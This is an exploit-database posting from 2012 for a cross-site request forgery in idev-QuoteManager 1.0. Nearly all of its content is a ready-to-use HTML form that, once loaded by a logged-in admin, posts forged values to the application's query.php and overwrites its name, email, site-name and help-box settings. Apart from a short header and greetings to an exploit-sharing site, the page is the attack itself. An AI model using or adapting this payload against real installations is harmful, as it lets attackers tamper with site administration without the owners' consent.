Home / exploitsPDF  

idev-QuoteManager 1.0 Cross Site Request Forgery

Posted on 05 April 2012

# Exploit Title: idev-QuoteManager 1.0 CSRF # Author: Jonturk75 # Vendor or Software Link: http://idevspot.com/ # Category:: webapps # Demo : http://idevspot.com/demos/idev-quotemanager/admin # Greetz: Inj3ct0r Exploit DataBase 1337day.com <form action="../library/query.php" method="post" name="form1" id="form1"> <input name="YOURNAME" class="textarea100" value="yourname" type="text"> <input name="EMAIL" class="textarea100" value="mail@mail.com" type="text"> <input name="SITENAMES" class="textarea100" value="idev-QuoteManager" type="text"> <input name="AFFID" class="textarea100" value="" type="text"> <select name="HELPBOX" size="1"><option> Show</option><option selected>Show</option><option>Hide</option></select> <input name="Submit" value="Submit" type="submit"> </form>

 

TOP